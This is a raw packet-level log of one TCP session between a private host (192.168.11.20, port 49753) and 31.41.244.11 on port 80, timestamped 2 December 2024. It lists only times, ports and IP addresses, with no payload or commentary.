Dec 2, 2024 11:21:08.803450108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803479910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803523064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803612947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803653002 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803710938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803746939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803756952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803818941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803863049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803874016 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803896904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803952932 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.803955078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.803955078 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804106951 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804126024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804188013 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804230928 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804276943 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804294109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804339886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804383993 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804384947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804445982 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804536104 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804653883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804713011 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804799080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804814100 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804868937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804899931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804941893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.804953098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804953098 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.804984093 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.805012941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:08.805099964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:08.805099964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.132138968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132200003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132231951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132277966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132541895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132587910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132635117 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132675886 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.132816076 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.132873058 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132916927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.132937908 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.132963896 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133088112 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133117914 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133162022 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133251905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.133358955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133383989 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.133394957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133466959 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133511066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133541107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.133562088 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.133702040 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.133991957 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134212971 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.134304047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134347916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134396076 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134440899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134470940 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134510994 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.134515047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134572983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.134572983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.134624958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134659052 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134656906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.134701967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134744883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134774923 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134819031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134860992 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134881973 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.134890079 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.134942055 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135037899 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135060072 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135082960 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135107994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135138035 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135344028 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135356903 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135392904 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135423899 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135466099 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135550022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135550022 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135580063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135613918 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135658026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135754108 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135797977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135824919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135859966 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135890007 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.135904074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135947943 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.135978937 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136022091 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136038065 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136109114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136140108 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136183977 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136303902 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136307001 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136349916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136379004 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136421919 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136465073 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136553049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136584997 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136611938 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136629105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136684895 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136770010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136801958 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.136836052 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136945963 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.136946917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137058020 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137089968 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137094021 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.137131929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137176037 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137206078 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137285948 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137331009 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137360096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137448072 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.137578011 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.137609005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137666941 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137698889 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137746096 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137789965 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137820005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137841940 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.137929916 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.137947083 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138015985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138046026 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138088942 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138099909 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138134003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138160944 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138204098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138278961 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138279915 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138286114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138333082 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138362885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138422012 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138500929 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138555050 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138602018 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138631105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138782024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138830900 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138859987 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138865948 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138905048 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.138928890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138928890 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.138993025 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139023066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139060974 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139065981 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139148951 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139226913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139260054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139292955 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139334917 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139378071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139409065 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139411926 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139452934 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139553070 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139564991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139596939 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.139607906 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139720917 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.139945984 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140000105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140033007 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140077114 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140086889 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140120983 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140151024 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140177965 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140194893 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140295982 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140316010 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140348911 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140358925 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140430927 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140489101 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140566111 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140638113 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140670061 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140712976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140758991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140789032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140818119 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140831947 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140861988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140876055 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140907049 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.140911102 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140995979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.140995979 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141100883 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141144991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141175985 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141228914 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141230106 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141366005 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141427994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141472101 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141501904 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141516924 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141555071 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141561031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141592979 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141635895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141647100 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141680002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141748905 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141778946 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141798019 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141860008 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.141869068 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.141995907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142139912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142170906 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142215014 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142257929 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142287970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142297983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142329931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142374039 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142386913 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142402887 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142477036 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142529964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142601967 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142648935 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142678976 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142720938 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142802000 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142807961 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142838001 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142919064 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.142944098 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.142997026 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143069029 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143101931 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143141985 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143145084 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143189907 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143218994 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143232107 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143305063 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143315077 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143352032 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143381119 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143390894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143491983 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143573046 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143618107 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143646002 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143740892 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143786907 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143812895 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143858910 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143888950 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143930912 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.143945932 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.143995047 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.144046068 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144077063 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.144078016 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144123077 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144284964 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.144390106 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144422054 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144428015 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.144464970 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144507885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144537926 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144582033 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144623995 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144635916 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.144654036 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144696951 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144843102 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.144893885 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.144923925 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145112038 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145118952 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.145159960 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145189047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145231962 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145318031 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145347118 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145389080 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.145477057 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145523071 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145554066 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145560980 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.145595074 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145677090 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.145709991 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145740986 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145778894 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.145821095 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145867109 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145884037 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.145934105 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.145987988 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146123886 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146172047 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146202087 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146245003 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146260023 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146351099 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146357059 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146390915 CET	80	49753	31.41.244.11	192.168.11.20
Dec 2, 2024 11:21:09.146399975 CET	49753	80	192.168.11.20	31.41.244.11
Dec 2, 2024 11:21:09.146433115 CET	80	49753	31.41.244.11	192.168.11.20
